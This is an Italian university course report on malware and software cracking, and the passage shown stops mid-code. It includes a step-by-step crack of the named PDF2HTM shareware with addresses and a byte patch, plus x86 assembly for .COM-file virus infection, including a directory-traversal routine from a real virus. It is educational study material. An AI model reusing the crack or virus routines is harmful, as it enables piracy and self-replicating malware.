Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 1 PREFAZIONE Questa ricerca si propone di dare un’idea generale dei più diffusi metodi per attaccare, violare o mettere in stallo un sistema informatico, soffermandosi in particolare sui virus, codici perniciosi oggi molto diffusi e di grande interesse. Vengono presentati e descritti i più comuni tipi di virus, spiegandone il funzionamento e i processi logici che conducono al compimento dell’obbiettivo, descrivendo le istruzioni assembler che vengono utilizzate e fornendo l’analisi di alcuni codici di virus. Dopo un introduzione generale sul problema, vengono definiti i crack, allegando un esempio semplice di “crackaggio”, da me effettuato a scopo descrittivo, spiegandone i passaggi e citando i sofware utilizzati. In seguito viene introdotto brevemente il cavallo di troia spiegando come funziona e di quali potenzialità può disporre. Infine la trattazione dei virus, presenta alcuni cenni storici relativi, come funzionano, come realizzarli, come si classificano e brevemente quali caratteristiche sono legate ai vari tipi. Di tutti questi vengono descritti in dettaglio i virus che infettano i file .COM, spiegando quali sottoclassi ne fanno parte, allegando un esempio di codice per ogni tipo (MINI-44, CSpawn, JUSTIN e TIMID II virus), che verrà esaminato istruzione per istruzione. Durante la trattazione si parla anche di cosa è un COM file, come funziona (relativamente alla sua predisposizione ad essere infettato) e si descrivono le funzioni asm del sistema utilizzate per creare i vari codici. Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 2 INTRODUZIONE A partire dal 1980, grazie all’introduzione dei circuiti integrati LSI 1, i computer raggiunsero una affidabilità e costi ridotti, mai visti fino ad allora. Questo condusse alla quarta generazione di calcolatori, caratterizzata dalla nascita dei primi personal computer e delle più potenti workstation collegate da reti di comunicazione. In quest’ultimo caso specialmente, anche il ruolo dei computer cambiò radicalmente assolvendo compiti, non solo relativi alla ricerca, al calcolo, ma funzioni molto importanti nel settore bancario, gestionale e della memorizzazione di dati. Fu quindi inesorabile che l’attività criminale interessasse anche questo settore con le motivazioni e nelle modalità più svariate. Basta pensare al problema della privacy e alla possibilità di accedere a informazioni private e segrete, per esempio dossier governativi, appartenenti a organi del governo particolarmente delicati, oppure a informazioni che certe società conservano per indagini di commercio. Informazioni relative a brevetti, prodotti aziendali, tecnologie e piani di marketing o peggio ancora dati militari, logistici e bellici, se non adeguatamente protetti, potrebbero cadere nelle mani sbagliate. L’affidamento, anche esaustivo, di molte attività umane ai computer, la consapevolezza che comunque nessun sistema informatico sarà mai completamente inespugnabile, il semplice desiderio di violare ciò che per legge è inviolabile, sono, insieme, le cause che hanno dato origine ad attività criminali informatiche e alla nascita di gruppi sovversivi, pirati informatici e hacker, il cui scopo è quello di causare disordine, perdite economiche alle multinazionali informatiche, fughe di dati riservati, anche a scopo di lucro. Inoltre con la nascita dei sistemi timesharing, l’uso di reti LAN, WAN 2 e internet, che hanno introdotto una connessione su larga scala , gli attacchi informatici hanno potuto agire a livello globale, organizzarsi meglio tra loro e, in generale, colpire chiunque si trovi connesso e non sia ben protetto. Le violazioni di un sistema informatico sono molteplici e si manifestano in moltissime forme. Un sistema sicuro richiede certe caratteristiche: - integrità disponibilità segretezza autenticità (vale a dire che le risorse di un sistema siano modificabili solo da personale autorizzato) (le risorse devono essere utilizzate solo da utenti autorizzati) (dati e informazioni protette sono accessibili solo a parti autorizzate) (si richiede che un sistema sia in grado di verificare l’autenticità e l’identità di utenti e dati) Se una risorsa viene neutralizzata o ne viene impedito l’accesso, si tratta di attacco alla disponibilità, e questo riguarda la distruzione fisica di un hardware, l’interruzione di una linea o l’uso di programmi malware3 per bloccare il funzionamento di software. Vi sono poi intercettazioni non autorizzate che rappresentano una chiara violazione alla segretezza in quanto causano la fuga di dati, informazioni o la copia di programmi. La modifica di software, dati o informazioni in rete prevedono non solo l’accesso, ma anche l’introduzione di cambiamenti non permessi, è quindi una violazione all’integrità mentre la fabbricazione di oggetti contraffatti, l’aggiunta di record a programmi, la diffusione di informazioni false in rete sono attacchi all’autenticità. Esistono anche attacchi che costituiscono più violazioni contemporaneamente. Come esempio, sono oggi molto diffusi e disponibili in veri e propri siti-archivi, organizzati e gestiti da pirati informatici, i crack, che costituiscono una violazione al copyright e un attacco esplicito alle società produttrici di software . La forma più diffusa e pericolosa di attacchi è comunque quella dei malware o programmi perniciosi che sono programmi o parti di codice subdoli e inaspettati, creati con lo scopo di portare disordine o causare anche il blocco di un sistema informatico. Di essi fanno parte codici che necessitano di collegarsi a un programma ospite, come i virus, i cavalli di troia, le trap door, le bombe logiche; altri malware invece sono assolutamente autonomi e in grado di operare e riprodursi da soli come i worm (vermi) e i batteri. I virus sono segmenti di codice che si inseriscono in programmi legittimi e hanno due funzioni base, quella di ricerca dei file da infettare e quella che permette loro di propagarsi; i virus più elaborati possono avere anche routine che permettono loro di passare inosservati (stealth virus) o routine che eseguono particolari funzioni. I worm fondamentalmente hanno le stesse peculiarità dei virus però possono agire in modo autonomo, mentre i batteri consumano le risorse del sistema prendendone possesso e replicandosi in modo esponenziale. Il cavallo di troia è un malware che si nasconde all’interno di un programma apparentemente innocuo, ma che esegue al suo interno funzioni pericolose, sfruttando i privilegi che l’utente, relativo al programma, ha sul sistema. Le trapdoor sono invece porte di accesso, che consentono di accedere a un sistema saltando tutte le procedure di protezione e vengono impostate dal programmatore, non necessariamente a scopi fraudolenti, ma ad esempio per accedere facilmente nel caso si presentino problemi da risolvere .Essendo però molto difficile conoscere questi accessi, gli attacchi tramite trapdoor sono molto complicati da effettuare e sono poco frequenti. Infine le bombe logiche sono codici programmati per eseguire funzioni pericolose, come la cancellazione di dischi, a condizione che si verifichi un 1 Large scale integration Local area network, Wide area network 3 MALicious - softWARE 2 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 3 certo evento, che può essere causato fuori sistema da un utente, o può essere legato al clock di sistema, in modo tale da verificarsi a una certa data e ora. 1.0 I crack Un crack è in genere un segmento di codice che interviene modificando un software, si pensi ad esempio ai software shareware o demo che si scaricano in rete; essi sono programmi che vengono gratuitamente rilasciati, solo a scopo di valutazione, spesso con molte funzioni non abilitate e comunque, dopo un breve periodo di tempo o dopo essere stati lanciati un certo numero di volte, smettono di funzionare, invitando l’utente all’acquisto del prodotto. Esistono anche versioni, che richiedono l’acquisto tramite rete di una password, per registrare il software; in tal caso il crack è in realtà un keymaker, cioè un programma che conosce in anticipo i criteri con cui i codici di registrazione sono prodotti e quindi è in grado di “calcolarli”. Per esempio la registrazione di un programma potrebbe avvenire inserendo il nome, il cognome e altri dati dell’utente dai quali, tramite codifica e crittografia, noti solo al programma e al programmatore, esce il registration number. Tutto funziona finché il sistema di formazione del codice non è noto al “cracker”. Questo sistema di pubblicizzare prodotti informatici, può rivelarsi piuttosto rischioso in quanto un crack può disabilitare tutte le restrizioni precedentemente dette e da un semplice programma evaluation, si può avere la full version, esattamente come se questa fosse stata acquistata, portando perdite alle aziende produttrici. Il crack, è quindi un esempio di modifica e contraffazione, un attacco alla autenticità e contemporaneamente all’integrità. Crackare un software che non abbia protezioni particolarmente studiate e resistenti non è poi così complicato e può essere eseguito direttamente da terminale senza bisogno di scrivere un codice dedicato, basta avere una sufficiente conoscenza del linguaggio assembler e i seguenti software: - W32/16 DASM version 8.93 ,vale a dire un debbugger e disassembler HEX WORKSHOP version 2.00 Una op-code list contenente le principali istruzioni assembler e i relativi numeri di codice ,per processori Intel 1.1 Esempio di “crackaggio” Ciò che un crack fa, può quindi essere eseguito anche manualmente e, per meglio descriverne il funzionamento, ecco un esempio di “crackaggio” piuttosto semplice da eseguire, basato sulla modifica delle istruzioni di jump in assembler : Il programma PDF2HTM è un piccolo software per la conversione dei file PDF in HTM. Nella sua evaluation version converte solo un numero limitato di pagine, e dopo 15 lanci del programma si disattiva. Per la sua registrazione e il suo pieno funzionamento richiede l’immissione di nome, compagnia e e-mail più il numero di serie. Questo sistema di protezione è violabile anche senza conoscere i criteri di calcolo del series number. Si avvia il programma e nel tool di registrazione si mette un codice a caso che darà in uscita un messaggio di errore. Dopo aver disassemblato il programma col W32/16dasm si guarda la sua “list of string data items” che contiene tutte le stringhe di output riferite dal programma. In essa si troverà il messaggio di errore “series number error, please check” e “Thank you register PDF2HTM sofware!”. Ora la prima stringa è quella che di fatto esce, mentre la seconda è quella che si vuole esca, saltando la protezione. Clickando sulla prima frase si visualizza nella sequenza codice asm il punto in cui essa è riferita, si cerca nelle istruzioni precedenti quella che è la destinazione di un salto condizionato e specifica l’indirizzo da cui è partito con “referenced by a (U)unconditional or (C)conditional jump at address: 0040549BD”. Con GOTO si va a quel indirizzo di istruzione e si trova l’obbiettivo cioè la parte di codice che esegue il controllo e, se questo ha esito negativo, effettua il salto all’istruzione che da in output la stringa di errore. La routine di codice da modificare, presentata dal disassembler , è la seguente: Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 1) 2) 3) 4) 5) 6) 7) 8) 9) 10) 11) 12) 13) 14) 15) 4 mov dl, byte ptr [eax] mov bl ,byte ptr [esi] mov cl,dl cmp cl,bl jne 004054C3 test cl,cl jne 004054BF mov dl,byte ptr [eax+1] mov bl ,byte ptr [esi+1] mov cl,dl cmp cl,bl jne 004054C3 add eax,00000002 add esi,00000002 I salti 5,7,12 portano al messaggio di errore precedentemente visto e alla parte di codice che pone delle restrizioni all’uso del programma, nel caso in cui il confronto tra il numero di registrazione immesso e quello corretto, effettuato con cmp cl,bl non sia positivo. Sarà sufficiente cambiare questi JNE in JE e il software non eseguirà mai le istruzioni che ne rendono limitate le prestazioni, proseguendo a eseguire i comandi del programma ,che avrebbe eseguito se il codice fosse stato corretto, qualsiasi numero di registrazione si inserisca ( a meno che non si scelga proprio quello giusto, che è l’unico ora in grado di bloccare il sofware). Per cambiare le istruzioni si deve visualizzare il codice in opcode con HEX WORKSHOP, vedere qual è l’indirizzo della istruzione da cambiare sul disassembler, rintracciarla in op-code e sostituire il corrispondente. Nel caso nostro si vuole sostituire un JNE con JE quindi 75 (JNE) con 74 (JE) tenendo presente che tra gli indirizzi di istruzione del disassembler e di HEXWORKSHOP c’è un offset di 00400000, già inserito di seguito: 00405480 8D44 2450 68C8 0000 0050 68FB 0300 0057 00405490 FFD5 BE78 1844 008D 4424 508A 108A 1E8A 004054A0 CA3A D375 1E84 C975 168A 5001 8A5E 018° 004054B0 CA3A D375 0E83 C002 83C6 0284 C975 DC33 004054C0 C075 051B C083 D8FF 85C0 752B 6A10 68E0 004054D0 E643 0068 ACE6 4300 57FF 1584 2443 0068 004054E0 FB03 0000 57FF 158C 2443 0050 FF15 9024 004054F0 4300 E9BD 0400 008D 8424 5401 0000 68C8 C 00405500 0000 0050 68FD 0300 0057 FFD5 8B35 EC21 .D$Ph....Ph....W ...x.D..D$P..... .:.u...u..P..^.. .:.u.........u.3 .u........u+j.h. .C.h..C.W...$C.h ....W...$C.P...$ ........$T...h. ...Ph....W...5. Gli op-code in grassetto sono da sostituire con dei 74, così quando il codice arriverà alla sequenza che controlla il series number inserito, salterà all’istruzione che da in uscita “Thank you register PDF2HTM sofware !” e al codice proprio del programma. Con la stessa tecnica, cambiando le funzioni di salto con le loro complementari, si possono sottrarre all’esecuzione routine di codice di un programma che ne sospendono il funzionamento in base al numero di esecuzioni o alla data , ottenendo un programma che funzionerà sempre, proprio come l’originale. Esempi di funzioni jump su cui si interviene sono per esempio: 77 cb 73 cb 72 cb 76 cb 72 cb E3 cb 74 cb 7F cb 7D cb 7C cb 7E cb JA cb JAE cb JB cb JBE cb JC cb JCXZ cb JE cb JG cb JGE cb JL cb JLE cb Jump short if above (CF=0 and ZF=0) above=UNSIGNED Jump short if above or equal (CF=0) Jump short if below (CF=1) below=UNSIGNED Jump short if below or equal (CF=1 or ZF=1) Jump short if carry (CF=1) Jump short if CX register is zero Jump short if equal (ZF=1) Jump short if greater (ZF=0 and SF=OF) greater=SIGNED Jump short if greater or equal (SF=OF) Jump short if less (SF/=OF) less=SIGNED Jump short if less or equal (ZF=1 or SF/=OF) EB cb EA cd E9 cw FF /4 FF /5 JMP cb JMP cd JMP cw JMP ew JMP md Jump short (signed byte relative to next instruction) Jump far (4-byte immediate address) Jump near (word offset relative to next instruction) Jump near to EA word (absolute offset) Jump far (4-byte address in memory doubleword) Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 76 cb 72 cb 73 cb 77 cb 73 cb 75 cb 7E cb 7C cb 7D cb 7F cb JNA cb JNAE cb JNB cb JNBE cb JNC cb JNE cb JNG cb JNGE cb JNL cb JNLE cb Jump short if not above (CF=1 or ZF=1) Jump short if not above or equal (CF=1) Jump short if not below (CF=0) Jump short if not below or equal (CF=0 and ZF=0) Jump short if not carry (CF=0) Jump short if not equal (ZF=0) Jump short if not greater (ZF=1 or SF/=OF) Jump short if not greater or equal (SF/=OF) Jump short if not less (SF=OF) Jump short if not less or equal (ZF=0 and SF=OF) 71 cb 7B cb 79 cb 75 cb 70 cb 7A cb 7A cb 7B cb 78 cb 74 cb JNO cb JNP cb JNS cb JNZ cb JO cb JP cb JPE cb JPO cb JS cb JZ cb Jump short if not overflow (OF=0) Jump short if not parity (PF=0) Jump short if not sign (SF=0) Jump short if not zero (ZF=0) Jump short if overflow (OF=1) Jump short if parity (PF=1) Jump short if parity even (PF=1) Jump short if parity odd (PF=0) Jump short if sign (SF=1) Jump short if zero (ZF=1) 5 2.0 Cavalli di troia Il cavallo di troia è un tipo di codice che contiene delle codifiche nascoste, abilmente celate all’utente vittima, perché posizionate in un programma legittimo. Una volta entrato in azione può fare tutto ciò che l’utente ha il privilegio di fare e in modo che questo difficilmente se ne accorga, una volta avviato il programma ospite. Le attività del cavallo di troia possono quindi comprendere : - cancellare file che l’utente può cancellare - trasmettere file e dati, leggibili dall’utente, all’intruso che l’ha creato - apportare modifiche ai file che l’utente può cambiare - installare programmi che possono attivare connessioni non autorizzate dall’utente - modificare i livelli di sicurezza di certe protezioni del sistema rendendolo più vulnerabile, nel caso del browser di connessione, per esempio, i cavalli di troia possono abbassare il livello di guardia, togliere eventuali filtri di sicurezza in modo che ulteriori attacchi esterni possano avere più facilmente successo. - Installare virus o altri cavalli di troia - Creare problemi di security threat, per esempio si pensi a un programma di login che richiede una user-id e una password per l’accesso a un sistema. Se tale programma e sotto il controllo di un cavallo di troia, l’aspirante intruso riuscirà facilmente a conoscere i dati di accesso, forniti dallo stesso utente, ignaro di cosa stia succedendo. Il danno subito è relativo all’importanza delle informazioni e alle directory a cui il cavallo di troia riesce ad accedere ,da cui dipendono i privilegi che assumerà nel sistema. Se l’utente vittima ha accesso a operazioni di amministrazione del sistema anche il cavallo di troia può intervenire in questo senso, cioè può controllare l’amministratore di sistema, collegarsi quindi in root alla cima del file system e avere qualsiasi accesso. La “root account” di Unix , la “administrator account” di windows NT sono possibili obbiettivi, tramite i quali un cavallo di troia avrebbe alti privilegi di e incrementerebbe notevolmente il suo impatto sul sistema. Un cavallo di troia, per essere efficace deve essere nascosto e lavorare all’insaputa dell’utente, inserendo il codice malware in un programma legittimo all’apparenza e perfettamente funzionante, così da non destare sospetti nella vittima. Per esempio, recentemente venne rilevata in rete la distribuzione di e-mail con free upgrade di Microsoft Internet Explorer, sebbene la Microsoft non mettesse a disposizione aggiornamenti o patches tramite e-mail. Queste contenevano infatti un eseguibile nascosto, chiamato le0199.exe il quale, una volta attivato, cercava di apportare molte modifiche al sistema e tentava di connettersi ad altri sistemi remoti. Molto diffuse sono anche e-mail con giochi da installare, oppure e-mail presentate come avvertimenti da Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 6 parte di organizzazioni di sicurezza, a nome del CERT 4 per esempio, che sono invece mezzi per indurre l’utente a installare i programmi allegati, che funzionano effettivamente per come sono stati presentati, ma al loro interno celano il vero malware, che viene installato anch’esso dallo stesso utente. Inoltre, dal momento che il DNS 5 non mette a disposizione una autenticazione forte, gli utenti possono essere indotti a connettersi a siti che sono diversi da quelli a cui volevano inizialmente connettersi, a eseguire download di software con provenienza ben differente da quella che pensavano o a rivelare dati personali a utenti non ben intenzionati. Spesso i cavalli di troia vengono sostituiti alle legittime versioni di software, liberamente scaricabili dalla rete nei siti distributori di software, così il malware verrà scaricato da molti utenti; ancora più grave è il caso in cui la sostituzione avviene in siti di livello superiore , come grandi centri di distribuzione software, a cui i siti suddetti fanno riferimento, in tal modo il malware sarà in grado di diffondersi molto velocemente e su larghissima scala nella Internet community. Per quanto detto, il cavallo di troia è uno delle modalità più subdole e minacciose in cui la violazione della sicurezza informatica si manifesta e la soluzione migliore resta la prevenzione e una accurata attenzione a ciò che si scarica dalla rete. Infatti, una volta insinuati nel sistema, per utenti privi di una certa esperienza e senza certe conoscenze non è facile rilevarli. 3.0 I virus , cenni storici Il primo virus fu sviluppato nel novembre del 1983, con fini dimostrativi, nell'ambito di una ricerca finanziata da una delle principali società costruttrici di computer ed inserita in un più generale progetto di studio della sicurezza dei sistemi informativi. L'obiettivo della ricerca era di dimostrare come le possibilità di un attacco al patrimonio informativo di un'azienda non fossero limitate a quelle tradizionalmente prese in esame negli studi sulla sicurezza fino ad allora svolti; tali studi avevano incentrato la loro attenzione sull'attacco fisico (p.es. atti terroristici), sulla conoscenza illegittima di password e su modifiche ai programmi effettuate da personale interno alle aziende. L'esperimento, che riuscì perfettamente, dimostrò che predisponendo opportunamente il programma aggressore era possibile attaccare qualsiasi sistema: il virus sperimentale, sviluppato in sole otto ore da un esperto, impiegava meno di mezzo secondo per replicarsi "copiandosi" in un altro programma, che diventava, a sua volta, "portatore" del virus. Possiamo riassumere sinteticamente la storia dei virus in alcuni eventi essenziali: 4 NEL 1983 NEL 1987 NASCE BRIAN IL PRIMO VIRUS CHE INFETTA IL SETTORE DI BOOT DEI VECCHI FLOPPY DA 5.1/2 USANDO IL METODO STEALTH NELLO STESSO PERIODO NASCE UN SECONDO VIRUS "STONED". UN VIRUS LETALE PER IL SISTEMA OPERATIVO NEL 1988 NEL 1989 NASCE DARK AVENGER IL CUI DANNO SI MANIFESTA LENTAMENTE ,NASCE ANCHE IL PRIMO ANTIVIRUS COMMERCIALE DISTRIBUITO DA IBM NEL 1990 NEL 1991 NASCONO I PRIMI PROGRAMMI VERI E PROPRI PER CREARE PER I VIRUS NEL 1992IL PRIMO VIRUS CHE VIENE PUBBLICATO DAI GIORNALI " MICHELANGELO". ALLA DATA DELLA NASCITA DELL'ARTISTA INFETTA PARTI DELL' HARD DISK NEL 1995 IL PRIMO ARRESTO PER I VIRUS. ALL'AUTORE DEL VIRUS PATHONGEN VIENE INDIVIDUATO DALLA FAMOSA POLIZIA INGLESE E CONDANNATO A 18 DI RECLUSIONE NEL 1999 NASCE CHERNOBYL. VIRUS MOLTO DIFFUSO IN EUROPA E IN ASIAI DANNI CREATI DA ESSO SI VALUTANO IN 500.000.000 DI LIRE .NASCE ANCHE IL VIRUS MELISSA , IL PRIMO VIRUS CHE RIESCE A PASSARE AUTOMATICAMENTE DA UN COMPUTER ALL'ATRO NEL 2000 "I LOVE YOU" QUESTO NOME IN QUESTO ULTIMO PERIODO A STATO L'INCUBO DEL MONDO INFORMATICO. CAUSO' E STA CAUSANDO ANCORA DANNI. FRED COHEN DEFINISCE IL TERMINE VIRUS INFORMATICO NASCE IL PRIMO SOFTWARE ANTIVIRUS ESCONO SULLA RETE I PRIMI VIRUS POLIFORMI Computer Emergency Response Team. Domain Name Service : schema di nominazione usato in internet, specifica la struttura di dominazione del sito e gli host ,effettua la conversione tra nome e indirizzo. 5 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 7 Il primo virus sviluppato in Italia, che ebbe una notevole diffusione in tutto il mondo, fu il cosiddetto virus della pallina - denominato «ping-pong» - che si limitava a far comparire sul video del computer una "faccina sorridente" che si spostava su tutto lo schermo; è quasi certo che tale virus sia stato realizzato per fini di ricerca, nel 1987, da alcuni studenti del politecnico di Torino. Secondo l’ICSA 6 sono stati individuati oltre 60.000 virus e ogni mese ne nascano 400 nuovi. Questo da un minima idea dell’ evoluzione del fenomeno e del fatto che il problema della sicurezza è estremamente dinamico. Ovviamente agli inizi, il mezzo di trasmissione era costituito dai floppy disk, ma in seguito internet rinnovò completamente il sistema di diffusione. Le e-mail, molto usate nel mondo del bussines, permisero ai virus di muoversi a velocità altissime e di infettare una intera compagnia in pochi minuti, con danni e costi notevoli. 3.1 Il virus e le sue caratteristiche La definizione di "virus informatico" può sostanzialmente essere sintetizzata in poche parole: una porzione di codice progettato per eseguire due attività. La prima quella di propagarsi in altri programmi, la seconda quella di annidarsi nel sistema per poter eventualmente eseguire un “compito” specifico. Ogni virus, per poter essere attivabile, deve avere almeno due parti, o subroutine, una per individuare nuovi file, nuove directory o dischi, che siano possibili bersagli da infettare, l’altra per copiare sé stesso nell’obbiettivo individuato. Dalla prima parte del virus dipende quanto abilmente sarà in grado di diffondersi, se l’infezione sarà veloce, lenta, se potrà infettare più di un disco, se il bersaglio sarà uno a caso o uno specifico. Ovviamente più questa routine è lunga e complessa più il virus sarà diffusivo e forte, ma avrà anche dimensioni maggiori facilitandone la sua individuazione. La seconda parte è una copy routine, e anche per essa vale il discorso precedente, cioè in base al target prefissato, potrà essere sofisticata e lunga ,oppure molto semplice e, più corta sarà, meno facile sarà rilevare il malware. Tutto dipende dal tipo di file che si vuole infettare, per esempio i file COM sono i più semplici da colpire e la copyroutine necessaria occupa poche righe di codice, mentre i file EXE hanno una struttura più complessa e per essere infettati richiedono virus più elaborati. Quanto detto serve a realizzare un virus base, con il minimo necessario per “sopravvivere”, ma si possono implementare parti che lo rendano più efficace, oppure che gli facciano eseguire certe istruzioni. Spesso si usano segmenti di codice aggiuntivi , dette anti detection routines, che mascherano il virus o comunque che ne impediscono la rilevazione (come nel caso di stelth virus). La difficoltà nel realizzarli varia molto, dai più facili, che prendono la stessa data di un file in cui l’hanno infettato, ai più complicati che camuffano il virus, facendo credere ai programmi anti virus che gli stessi non sono presenti. Un virus può anche contenere una routine specializzata a una particolare funzione di danneggiamento detta payload del virus e questa può essere la semplice visualizzazione di un messaggio, oppure operazioni con conseguenze più gravi, come modificare e/o distruggere programmi e file di dati, la formattazione dei dischi, il sovrautilizzo di risorse. La classificazione dei virus viene fatta in base al tipo di programmi che infettano e alla modalità adottata. La prima grande distinzione è tra boot infector virus, che infettano il boot sector il quale entra in esecuzione solo all’avvio del computer, e i file infector virus che colpiscono programmi ordinari sul disco. Vi sono anche multipartite virus che sono l’unione dei due tipi precedenti e che quindi infettano sia il boot sector sia dei file o programmi normali. I file infector a loro volta si classificano in base al formato dei file vittima, quindi file .COM , .EXE , .SYS o più tipi insieme e presentano notevoli differenze l’uno dall’altro. Un’altra significativa distinzione va fatta tra i memory resident virus e i direct acting virus. I primi nascondono se stessi nella memoria del computer mentre i secondi non lasciano alcuna traccia in memoria del codice che va in esecuzione dopo che il programma ospite, al quale il virus è attaccato, sia stato eseguito. I primi sono più efficaci in quanto risiedendo nella memoria possono saltare da una directory all’altra o passare attraverso più dischi seguendo tutti i spostamenti dell’utente nel normale utilizzo del computer, inoltre distribuiscono meglio nel tempo le operazioni di infezione dei programmi ospite. Per quanto riguarda le dimensioni di un virus, variano da decine di bytes a poche migliaia di bytes. Un virus con dimensioni minori di 500 byte, quindi molto piccolo, è adatto a non essere rilevato con facilità. Virus più comuni, occupano in genere più di 1500 byte, e alcuni, anche se di dimensioni maggiori ,riescono a nascondersi bene in quanto riescono a cancellare le loro tracce, tramite routine particolari, per esempio il Whale virus ha questa peculiarità ed è uno dei migliori “stealth” virus presenti. Dimensioni superiori a quelle suddette rendono più facile la rilevazione del virus. 6 International Computer Security Association Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 8 Per scrivere un virus è in maggioranza usato il linguaggio assembly, mentre i linguaggi di alto livello, come il basic, il C, il Pascal sono usati per scrivere i veri software, e mal si prestano alla creazione di virus in quanto sono linguaggi poco versatili, incapaci di far eseguire ai virus, in modo veloce e ottimale, i salti da un programma ospite a un altro. L’assembly è molto compatto, caratteristica molto utile in un virus, permette di accedere facilmente agli interruptus, e quindi di avere facilmente a disposizione il controllo totale delle risorse di sistema del computer, con operazioni che danno la gestione completa degli interrupt hardware. Quindi, benché esistano eccezioni per cui sia preferibile usare altri linguaggi, l’assembly è sempre il prediletto nella produzione di virus. Il software da usare consta di un compilatore, come il BORLAND TURBO ASSEMBLER (TASM), il shareware A86 assembler, il Microsoft Macro Assembler (MASM), il BORLAND C++ o il Zortech C. Molto utile è avere un antivirus da usare come tester e come fonte di dati, così come i manuali di utilizzo dei principali sistemi operativi, in cui sono presenti appendici che descrivono le operazioni che potrebbero mettere in crisi il sistema, vietate a un utente normale, ma fonti di idee per nuovi virus. Altri software necessari sono un debugger,un disassembler e memory management utilities come MAPMEM,PMAP 7. 3.2 Ciclo vitale del virus e suoi meccanismi In genere un virus nasce alla sua creazione e resta inattivo quando è stato completamente trasmesso Creazione: come detto, la creazione di un virus richiede una buona conoscenza del linguaggio di livello basso assembler e del funzionamento del sistema e un pacchetto di software. Replicazione: questa fase può durare lunghi periodi di tempo, per garantire una massima diffusione e prevede l’individuazione del codice bersaglio che ospiterà il virus ,e la scrittura di una copia di questo nel file da infettare. Attivazione: esecuzione dell’eventuale payload Identificazione: quando un virus viene individuato e isolato, viene inviato alla ICSA a Washington, per essere studiato e distribuito alle aziende produttrici di antivirus. Dalla sua diffusione alla sua identificazione passa in media ameno un anno e, in base alla sua complessità, passano da qualche giorno a sei mesi prima che si sviluppino gli aggiornamenti dei software di protezione contro quel virus. Di particolare interesse è la fase di replicazione, cioè ricerca e infezione del programma ospite, in quanto da questa dipende direttamente la sopravvivenza del virus e un programmatore di malware deve avere particolare riguardo nel comporre il codice a essa relativa. Per esempio una delle modalità di implementazione di questa funzione consiste nel salvare pochi dei primi byte del file vittima, e poi copiare una porzione del suo codice all’inizio del file e il resto alla fine. P1 P2 V1 File non ancora infetto V2 Codice del virus Il virus salva una porzione di P1 esattamente uguale a V1, inserendola o alla fine del file stesso o all’interno del proprio codice. Supponiamo sia il primo caso: P1 P2 P1 In seguito copia la sua parte V1 al posto di P1 V1 P2 P1 In fine, il virus copia la sua seconda parte al termine del file. Il risultato sarà: 7 MAPMEM, PMAP sono delle utility di memory management Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” V1 P2 P1 9 V2 La funzione di V1 è essenzialmente di trasferire il controllo del programma a V2 ,per esempio: JMP FAR PTR Duh Pun DW V2_start ; prende 4 bytes ; prende 2bytes Pun è un puntatore (segmento: offset) alla prima istruzione di V2 e va cambiato a seconda della lunghezza del file infettato. Se, ad esempio, la lunghezza originale del file fosse 79 byte=P1+P2, il valore di Pun si otterrebbe aggiungendo la dimensione di V1 ai 79 byte più 256, quindi 6+79+256=341 decimali che in esadecimale da 155, quindi Pun è tale che venga eseguita l’istruzione all’indirizzo 155h. In alternativa DB 1101001b Pun DW V2_Start - OFFSET Pun ; Codice per JMP (2 byte-spostamento) ; 2 byte spostamento Questo inserisce il salto di offset direttamente nel codice seguente l’istruzione di salto e la seconda riga può essere sostituita con lo stesso effetto da : DW V2_Start - $ V2 contiene il resto del codice e può servire a scrivere P1 sopra V1 in memoria trasferendo il controllo all’inizio del file. Per fare questo il codice sarà: MOV SI, V2_START SUB SI, V1_LENGTH MOV DI, 0100h MOV CX, V1_LENGTH REP MOVSB MOV DI, 0100h JMP DI ; V2_START è un indice che segna dove V2 comincia ; torna indietro dove P1 è situato ; tutti i file COM sono posti in @ CS:[100h] in memoria ; sposta CX byte ; DS:[SI] -> ES:[DI] Questo codice assume che P1 è posto appena prima di V2,come in : P1_posto_qui: . . . V2_inizio: Esso assume anche che ES sia uguale a CS. Se questo non fosse vero si dovrebbe fare una modifica corrispondente, per esempio: PUSH CS POP ES MOV SI, P1_START MOV DI, 0100h MOV CX, V1_LENGTH REP MOVSB ; immagazzina CS ; e lo muove in ES ;spostandolo da ovunque sia P1 ;a CS:[100h] MOV DI, 0100h JMP DI Questo codice prima sposta CS in ES e poi regola il puntatore sorgente di MOVSB verso la posizione dove P1 è situato in memoria ed è necessario quindi avere l’offset di P1 e non la sua posizione fisica nel file. L’offset di P1 sarà 100h in più della posizione fisica del file siccome assumiamo che i file COM siano posti a partire da CS:[100h]. Riassumendo la struttura sarà : V1_Start: JMP FAR PTR Pun Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 10 Pun DW V2_Start V1_End: P2_Start: P2_End: P1_Start: ; prima parte del programma posta qui e da usare in futuro P1_End: V2_Start; V2_End: V1_Lunghezza = ( V1_fine - V1_inizio) In alternativa si può piazzare P1 in V2 così: V2_Start: P1_Start: P1_End: V2_End; Quanto detto serve a infettare file COM senza renderli inutilizzabili. I compiti specifici della sezione di replica sono: - Trovare il file da infettare - Controllare che non sia già infettato - In tal caso tornare al punto di partenza 1 - Infettarlo - Coprire le tracce - Tornare comunque da capo Preso un file il virus deve aprirlo e leggere i primi byte, verificando che questi non siano uguali al proprio V1 e in tal caso infettarlo. Se fossero uguali vorrebbe dire che il file sarebbe già stato infettato e il file andrebbe ignorato. Per virus del tipo runtime la scelta può avvenire in più modi: si possono infettare file nella sola directory corrente, oppure mediante funzioni speciali è possibile estendere l’infezione in qualsiasi directory o in una in particolare. In quest ultimo caso l’utilizzo di “directory traversal function“ potrebbe espandere l’infezione e la sua velocità in modo molto più efficace. Un esempio di funzione simile, tratto dal codice del Funky Bob virus è: traverse_fcn proc near push bp ; Crea stack frame mov bp,sp sub sp,44 ; Alloca spazio per DTA call infect_directory ; cerca e distrugge le routines mov ah,1Ah ;imposta il DTA lea dx,word ptr [bp-44] int 21h ;esegue ora mov ah, 4Eh ;trova il primo mov cx,16 ;Directory mask lea dx,[si+offset dir_mask] ; *.* int 21h jmp short isdirok gonow: cmp byte ptr [bp-14] ; il primo è char == '.'? je short donext ;se sì ripeti il loop lea dx,word ptr [bp-14] ;altrimenti carica il dirname mov ah,3Bh int 21h jc short donext ;esegui il prossimo se non 